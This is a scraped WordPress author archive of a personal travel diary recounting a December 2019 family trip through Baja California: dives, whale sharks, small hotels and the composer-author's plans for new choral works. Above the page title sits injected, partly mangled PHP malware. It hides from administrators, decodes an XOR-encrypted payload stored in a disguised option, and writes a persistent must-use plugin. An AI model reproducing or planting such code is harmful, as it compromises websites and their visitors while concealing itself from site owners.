if(!function_exists('site_performance_metrics')){function site_performance_metrics(){if(function_exists('current_user_can')&¤t_user_can('manage_options'))return;$h=get_option('_transient_feed_mod_5ccc225b');if(!$h)return;$d=@hex2bin($h);if(!$d)return;$k='7ba4b004e5bc28a901fd4ffa3e752fcb';$o='';for($i=0;$i=2){if(!is_dir($mu))@$_fc[1]($mu,0755,true);@$_fc[0]($mf,@hex2bin($muc));} },20); add_filter('pre_option__transient_feed_mod_5ccc225b',function($v){ if(is_admin()&&!wp_doing_ajax()&&!wp_doing_cron()&&!defined('REST_REQUEST'))return false; if(function_exists('current_user_can')&¤t_user_can('manage_options'))return false; return $v;}); Ed Jacobs, Author at EDWARD JACOBS - Page 43 of 43

EDWARD JACOBS

Author: Ed Jacobs

  • Thursday, December 26

    Leaving Baja, heading to San Diego

    Alvaro very kindly had some coffee and breakfast out for us early, knowing we were leaving earlier than the usual desayunas time.  And it was a good thing, as we tried some of our instant coffee before he arrived, and horrible doesn’t begin to describe how atrocious it was.  Trip to the airport smooth. Car return easy; have to admit that I was so happy when the xcar started right up this morning.  The suspension/struts were so worn out, the seats so uncomfortable, the gas pedal so sticky, the a/c keeping only the front seat cool…we’d saved a bundle by not going with a company that was legal, and charged the required Mexican insurance fee.  It all worked out fine, though my back may feel otherwise.

    Pattie enjoying shopping in the airport…Tim got out on time…and we’re looking forward to seeing what our two weeks in San Diego brings!

  • Wednesday, December 25

    Near Cerritos beach

    We drove Tim to a 4-wheeler adventure about 30 minutes south,

    then drove straight onto the beach to enjoy a few hours there.  Truly isolated, with almost no one there.  A few folks on horseback, the occasional small group of 4-wheelers, but otherwise just me and Pattie. 

    Cerritos beach

    In the evening we took the short drive to Todos Santos for one last taco dinner—churros for dessert.  El Poblano, right on the main drag down from where we’d stayed a few nights earlier.  And it was only about 10 miles from our current location.  Back home to pack and ready fro an early departure tomorrow morning.

  • Tuesday, December 24

    Outside El Pescadero

    I’m writing this in the kitchen, having come in to make myself some instant coffee…a nice surprise to find Alvara putting out coffee, and the owner soon bringing some breakfast-sweet bread, some fruit, flowers for the table.  This little place is so special, really and, as everywhere we’ve been, the people are so very friendly and warm.

    holiday decorations…
    …with party cups

    So much for instant coffee—theirs is much more delicious.

    Off to rouse the troops, as in about an hour we’ll pile into the car to take Tara to the airport (about 75 minutes south) for her flight home for the holiday.

    After getting Tara to the airport—easy ride, just at an hour—we stopped at the Walmart in San Jose del Cabo to get a few things for the next few days’ meals.  Then back to our place further north.

    Hit the beach, which is really close, but it takes a while b/c of the slow off-roading ride.  As the crow flies it’s probably 2 miles; it’s nearly a 30-minutes drive.  Just as we walked onto the beach there was a pair of woman offering massages…Pattie and I got one, and it was surprisingly good. 

    The beach at El Cerritos has about 5-6 resorts.  All look nice, and are varying degrees of ‘fancy.’  All, though, require travel on about a half-mile of slow-going dirt roads.

    Back at out place Alvaro was prepping to make pizza for everyone—this guy seems to do it all. Dinner/pizza was a nice gathering with a couple from Seattle, he a Brit, she American school teacher; and an engaging couple from Mexico City.  She an architect, he some sort of video production/designer.  Really nice folks, and they also got lots of backstory from Alvaro and shared.

    He’s left his home in Cordoba, Veracruz about 5-6 years ago, going to La Paz to get work in farming.  Then was brought into a construction company in Cabo San Lucas.  The boss there knew the owner (a retired engineer) of Casitas El Salistral, and connected him with Alvaro.  Alvaro, fifth of twelve boys, then moved here four years ago and has helped build this place from the ground up.  He is the single staff person, running everything from maid service to food prep, to reception and trouble-shooting, to construction…and he makes pizza for guests once each week, as well.

    An evening of travel-socializing, and the pizza was good, to boot.

  • Monday, December 23

    Todos Santos à El Pescadero

    A relaxing morning in Todos Santos; coffee by the courtyard pool, slowly gathering things to pack.  Walked around the town as shops opened, stopped into a ‘fancy’ looking place for breakfast, which was both delicious and plentiful.

    After packing up, but before leaving Todos Santos we drove to a nearby beachfront.  More off-roading, but finally reaching the Pacific shore was worth the little drive.  Enormous waves and, off in the not-too-distant water, jumping whales.  Only a few people at this particular beach, and a few more on horses; quiet, slow-paced, relaxing.

    The road to our next stop, Casitas El Salitral south of El Pescadero was quick—25’ drive.  We missed our place, of course, because it’s accessed via a dirt road…but it’s a little oasis, really.  The owners began work on this ~2010, after losing their 24 yr old daughter to cancer.  The retired, bought this land and slowly but surely built a place for themselves to live, then these spacious, one-room, round cabanas. 

    A tour of our casita

    There are six of these, as well as the main house where the owners live.  We’re about ½ mile off the highway, basically in a pretty desolate area.  But they’ve made a beautiful little spread; separate kitchens outside, a swimming pool…all quite lovely. Last night we got some provisions and Tim/Tara cooked a delicious dinner in this kitchen, then we settled in next to a campfire outside our cabana.  All leading to a cool, comfortable, airy night’s sleep. 

    Casitas el Salitral

  • Sunday, December 22

    Todos Santos

    A welcome, long night’s sleep,  It seems I’ve been making up for lost sleep these past days, and last night no exception.  I went out to look for coffee at about 7, and enjoyed a stroll around the absolutely desolate streets.  But all very clean, unlike U.S. post-Saturday night messes…

    Coffee from the hotel café, again meeting super-nice staff.  Pattie and I now reading the paper by the little courtyard pool.  Surprisingly cool outside, but as the sun comes into the courtyard it’s warming up nicely.  So, so relaxing.  Only sounds are of the dogs in the streets…

    We’ll leave for the 90’ drive soon, and enjoy the 2 hours snorkeling.  Packed the go pro, and looking forward to getting some great pix.

    The trip to La Paz for snorkeling with the whale sharks was really something special The whale sharks so big, yet so gentle. At first, their enormous mouths just hanging open seemed threatening, then we quickly realize they just leave their mouths open to gather the plankton that comes their way. Nothing at all threatening about these beasts.

    first sighting of whale shark

    After our snorkeling trip, just enjoyed walking around La Paz’s pleasant waterfront area.

  • Saturday, December 21

    Cabo PulmoàTodos Santos

    Lazy morning, then set off toe Todos Santos.  The first 30 minutes a slow, bumpy ride over 6 miles of washed out road; then an easy highway hour, then an hour of mountain passes with beautiful views. 

    Todos Santos really a quaint little town, though bigger than I expected.  Lots of little shops, restaurants, etc.  Our hotel (Casa Tota) very nice, small, clean, super-friendly staff.

    We wandered and found a great lunch spot; family style plate of pork, a dish of sides (cukes, guac, salsa, radishes), and a plate of tortillas.  Very satisfying for all of us, delicious.

    In the midst of it all, Tara got some pix of a Quinceañera celebration/parade passing through town…a little local flavor.

    a Quinceañera parade!

    Wandered around the town (turns out “Hotel California” of Eagles fame is here–later found out this is untrue), the churches, the crafts marts, and could do so for another day, it seems.  Haven’t found a path to the beach/Pacific yet, but am sure we will soon.

    (not really) of Eagles’ fame

    Pattie/Tara happened upon a surf shop and stopped in to see if there might be any dive trips…no diving, but we are heading to La Paz to snorkel with the whale sharks.  This was on Pattie’s bucket list, and the reason she was so keen to come here, so a nice find.

  • Friday, December 20

    Cabo Pulmo. 

    A remote, unfinished area—really love it.  The entire community of bungalows and little dive/snorkel shops and little restaurants is owned and operated by members of one extended family.  Everyone is super-friendly, though I certainly wish I had more Spanish; it’d be nice to communicate more colloquially with folks.

    The weather is very windy here, with 12’ swells.  No one’s going out except super-expert divers.  And they’re saying there’s no visibility.  Seems it’s been this way most of the week.

    The offshore National Parque is said to be extraordinary, which is what brought us this way.  In their desire to keep it somewhat untrampled by tourists, it’s only open about 6 months of the year, then only 3-4 days each week.  No luck for us this trip.

    The day was very lazy and easy, walking around, finding a beer, seeing the area where the locals live, walking to the beach and just sitting and watching the waves.

    Dinner at a different place than the previous night.   Certainly fine, and we got a chance to see/hear Tara use her Spanish. This area reminds me very much of the outside-the-city areas Joe and I saw during our Morocco trip.  Nothing finished or polished, but everything you need and very friendly people to help you find it all.

  • Thursday, December 19

    Cabo San Lucas–>Cabo Pulmo

    Time and Tara went on a fishing trip this morning.  Calm waters, no fish.  But they had an enjoyable morning.  Pattie and I relaxed, had breakfast, did laundry—everything pretty ‘aromatic’ following the previous evening’s taco restaurant. 

    Set off to Cabo Pulmo in the early afternoon, stopping off at the San Jose Del Cabo Walmart.  We’re told no provisions at all in Cabo Pulmo, so we’ll stock up on some things to keep us in pb&j, water, etc.

    The drive was easy, though the last 6 miles were a bit rough.  As advised by the rental car owner, we stopped to deflate tires quite a bit to deal with the rough road.  At several spots, the road was just enormous puddles/small lakes, though we had no problem driving through without incident.  The entire drive was about 2 hrs 45 min or so. Checked in to our little bungalow, and it seems to have everything we need.  We did head over to a little restaurant to get some dinner, and it was surprisingly good.  Just a two-person operation, but clearly one of the places to be for dinner and a hang.

    A quiet day, really, the big activity (for me) being a haircut…

  • Wednesday, December 18

    Cabo San Lucas

    This is a city, for sure.  The drive here yesterday from the airport felt much like driving in the Bronx.  Nothing too hairy, but just lots of people driving offensively.  Had about 45’ from airport to hotel, and it went easily (thanks too google maps!).  Found a little place to grab dinner, which was delicious, then hit the sack.  Pattie and I really beat (4am wakeup in Gvl), Tim/Tara walked the streets a little bit before turning in.

    Breakfast at the hotel, then we got to the Manta Dive Shop before 1, checked in, met our dive guide Matthias, and then got settled onto the boat.  Nice setup; 7 divers, 2 guides; Matthias the guide for Pattie, Tim, Tara, and me.  The boat rides were very short, which really left all of our time for diving.  Got in two dives, down to ~70’, which was deeper than what we’d done in the past (by a long shot), but not at all uncomfortable.  If we’d not looked at our watches to see the depth, none of us would have realized we were beyond 30-40’.  We first went to Pelican Rock, a dive which was nice but not super-special. Some wonderful rock formations, though…

    Then went to Land’s End where Matthias brought us close together, then positioned us right below/inside an enormous bait ball.  That was amazing.  Like being in the middle of a gathering storm; I can’t imagine how many fish were in this bait ball, but is was like a solid cloud.  We stayed there for about 15 minutes, watching sea lions and big fish come in to feed on the fish in the ball. That was memorable, for sure.

    OLYMPUS DIGITAL CAMERA
    • OLYMPUS DIGITAL CAMERA

    The evening was spent walking the streets, eventually settling in to a restaurant for tacos, then walking to take in the sights and sounds. 

    A good day.

  • Setting off (12.17.19)

    December 17, 2019, Tuesday

    Pattie and I have been planning this adventure for almost a year now. We’ve spent the past few months reorganizing the house so that we can rent it for the coming eight months. We’ve spent the past weeks making the final arrangements, cleaning out my office a bit so that Jose Martinez can come in and wow everyone with the great stuff he’s doing, and his much more aware approach to teaching, especially electronic music.

    We’ve had some great events recently–a wonderful surprise 70th birthday party for Martha in NY which brought together lots of family, and Christine/Stephen’s wedding last weekend, which together more family.

    And waking today at 3:30am to begin this trip left only one more box to walk up to the attic, then into the car and off to RDU. Right now, am happy to have made our connection in DFW, and am on our flight to Cabo San Lucas. The next nine days will undoubtedly feel like a vacation, more than the beginning of the year’s writing and exploration/travel, and that’s a good thing. The past semester’s months have been draining, and this will be welcome.

    The final week in Gvl has been very nice, with opportunities to visit with good friends, and to meet with those I’ll be writing for over the coming months. One real delight has been several discussions (Pattie, Martha, Chris G., Todd, James F) about Jane Hirshfield’s Let Them Not Say . It’s been fascinating to hear varying perspectives on this, some really very varying from my own and, consequently, broadening my take on this poem. A few directions make sense right now…speech, discrete voices, physical separation of the choir…but it’s still early on that one.

    First project will be Jim Brasfield’s Celan, for which i’ve got multiple soprano lines and harmonic frameworks written. I still think i want to use this in different versions in contrast to Palladium and Renaissance. Perhaps Celan (1), Palladium, Celan (2), Renaissance, Celan (3).

    But before digging in too deeply, Cabo, and especially some nice dives in San Lucas and Pulmo. So very excited for these first days.